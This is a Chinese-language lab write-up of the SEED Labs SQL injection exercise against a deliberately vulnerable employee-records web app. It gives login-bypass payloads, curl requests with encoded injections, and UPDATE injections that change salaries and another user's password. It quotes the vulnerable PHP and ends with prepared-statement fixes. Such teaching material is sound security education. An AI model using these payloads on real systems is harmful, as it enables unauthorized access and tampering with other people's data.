SQL注入攻击实验教程
SQL注入攻击实验教程
SQL注入是一种常见的Web应用程序安全漏洞,攻击者可以通过在输入字段中插入恶意的SQL代码,从而绕过应用程序的安全控制,获取敏感数据或执行未经授权的操作。本文将通过一个实验环境,详细演示SQL注入攻击的具体步骤,并介绍相应的防御措施。
实验概览
SQL注入是一种代码注入技术,利用Web应用程序和数据库服务器之间接口的漏洞。当用户的输入没有被Web应用程序正确检查就被发送到后端数据库服务器时,就会出现SQL注入漏洞。很多Web应用程序从用户处获取输入,并使用用户输入来构建SQL查询,以获得数据库中的数据信息。Web应用程序也使用SQL查询在数据库中进行数据信息的存储。这些都是Web应用程序开发中的常见做法。如果没有仔细构造SQL查询,则可能会出现SQL注入漏洞。SQL注入攻击是对Web应用程序最常见的攻击之一。
在本实验中,我们创建了一个易受SQL注入攻击的Web应用程序,它包含许多Web开发人员常犯的错误。
实验目标
- 找到利用SQL注入漏洞的方法,展示攻击所能造成的伤害,并掌握防御此类攻击的技术
- 本实验覆盖以下主题:
- SQL语句:SELECT与UPDATE
- SQL注入
- 语句预处理
实验过程
实验环境搭建
下载实验配置文件Labsetup.zip(https://seedsecuritylabs.org/Labs_20.04/Files/Web_SQL_Injection/Labsetup.zip)
将主机名映射到容器的IP地址
sudo vim /etc/hosts
使用xftp传送至虚拟机解压并命名为soft2
建立环境并启动容器
dcbuild dcup -d dockps
注意事项
- Administrator是一个特权角色,可以管理每个员工的个人资料信息;Employee是一个非特权角色
- URL编码
Task 1:熟悉SQL语句
连接到MySQL数据库
mysql -u root -pdees
使用SQL库并展示表项
use sqllab_users; show tables; select * from credential;
Task 2:基于SELECT语句的SQL注入攻击
基于网页的SQL注入攻击
登录网址:www.seed-server.com
使用弱口令注入
1' or 1#
直接登录管理员账号查看所有人信息
admin' and 1=1#
基于命令行的SQL注入攻击
使用curl命令进行注入
curl 'www.seed-server.com/unsafe_home.php?username=admin%27%20and%201%3D1%23&Password=111'
或者
curl 'www.seed-server.com/unsafe_home.php?username=admin%27+and+1%3D1%23&Password=111'
增加一条新的SQL语句
拼接SQL语句拼接SQL语句:task3实现部分会展示;同样的联合查询也可看做拼接
如果php程序确实是想要数据库运行多条sql语句,可以使用mysqli的multi_query()函数。
反制措施:
- 预编译:使用预编译有两个好处,首先相当于一次编译,多次运行,缓存了部分代码调高了效率;其次是防止SQL注入:使用预编译后,其后注入的参数将不会再进行SQL编译.也就是说其后注入进来的参数系统将不会认为它会是一条SQL语句,而默认其是一个参数,参数中的or或者and等就不是SQL语法保留字了
- 使用正则表达式过滤传入的参数;对一些字符进行过滤
- 特别要注意的是前后端分离并不能保证数据库安全
Task 3:基于UPDATE语句的SQL注入攻击
修改自己的工资
查看相关代码
$hashed_pwd = sha1($input_pwd); $sql = "UPDATE credential SET nickname='$input_nickname', email='$input_email', address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;"; $conn->query($sql);
登录Alice的账户
Alice'# 密码随便输
编辑Alice的个人信息
',salary=114514,address=124,phonenumber='15' WHERE ID=1;#
修改他人的工资
登录Boby的账户
Boby'#
修改工资
',salary=1 WHERE ID=2;#
修改他人的口令
查看unsafe_edit_backend.php代码
dochsh 36 apt-get update apt-get install vim cd /var/www/SQL_Injection vim unsafe_edit_backend.php
修改密码
',password='7c4a8d09ca3762af61e59520943dc26494f8941b' WHERE name='Boby';#
Task 4:对策:语句预处理
防御对策:
//预处理之前(样例)
$sql = "SELECT name, local, gender
FROM USER_TABLE
WHERE id = $id AND password ='$pwd' ";
$result = $conn->query($sql)
//之后
$stmt = $conn->prepare("SELECT name, local, gender
FROM USER_TABLE
WHERE id = ? and password = ? ");
// Bind parameters to the query
$stmt->bind_param("is", $id, $pwd);
$stmt->execute();
$stmt->bind_result($bind_name, $bind_local, $bind_gender);
$stmt->fetch();
//修改之前
// do the query
$result = $conn->query("SELECT id, name, eid, salary, ssn
FROM credential
WHERE name= '$input_uname' and Password= '$hashed_pwd'");
//修改之后
// do the query
/*$result = $conn->query("SELECT id, name, eid, salary, ssn
FROM credential
WHERE name= '$input_uname' and Password= '$hashed_pwd'");*/
$stmt = $conn->prepare("SELECT id, name, eid, salary, ssn
FROM credential
WHERE name= ? and Password= ?"); //占位符 且变量后不能跟空格
$stmt->bind_param("ss", $input_uname, $hashed_pwd); //数据被绑定后可以通过函数绑定结果中的列属性到变量中
$stmt->execute(); //使用excute函数而不用system函数运行指令,他使用分开的蚕食分别接收命令名和数据,而不会将数据参数当作代码
$stmt->bind_result($id, $name, $eid, $salary, $ssn);
$stmt->fetch(); //特定列属性的数据被放在了指定的变量中
//这种处理方式可以使数据不会被当作代码处理
/*if ($result->num_rows > 0) {//这条判断保证了输入不为空
// only take the first row
$firstrow = $result->fetch_assoc();
$id = $firstrow["id"];
$name = $firstrow["name"];
$eid = $firstrow["eid"];
$salary = $firstrow["salary"];
$ssn = $firstrow["ssn"];
}*/
注意:传递的变量后面不能跟空格
思考题
假设数据库只存储password和eid两列的SHA256值。使用下面SQL语句与数据库交互,其中$passwd和$eid变量的值由用户提供。这个程序是否存在SQL注入问题?如果没有,请解释原因;如果有,请给出构造范例。
$sql = "SELECT * FROM employee WHERE eid='SHA2($eid, 256)' and password='SHA2($passwd, 256)'";
该语句存在注入,用and链接参数可拼接,因此只需1,256)'and 1=1#